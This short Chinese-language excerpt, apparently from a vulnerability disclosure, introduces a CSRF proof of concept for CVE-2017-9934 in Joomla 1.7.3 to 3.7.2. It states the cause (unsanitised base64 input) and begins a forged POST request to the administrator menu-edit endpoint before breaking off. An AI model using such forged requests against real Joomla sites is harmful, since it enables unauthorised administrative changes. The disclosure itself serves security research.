CVE-2017-9934

CVE-2017-9934 我是此漏洞的提交者，署名：Envo Joomla 1.7.3 - 3.7.2 CSRF 漏洞利用 PoC 此漏洞的产生是由于 Joomla 1.7.3 至 3.7.2 版本未对 base64 输入进行清理。 Headers: root@kitploit: POST http://localhost/joomla/administrator/index.php?option=commenus&view=item&clientid=0&layout=edit&id=0 HTTP/1.1 User-Agent: Mozilla/5.0 X11; Ubuntu;...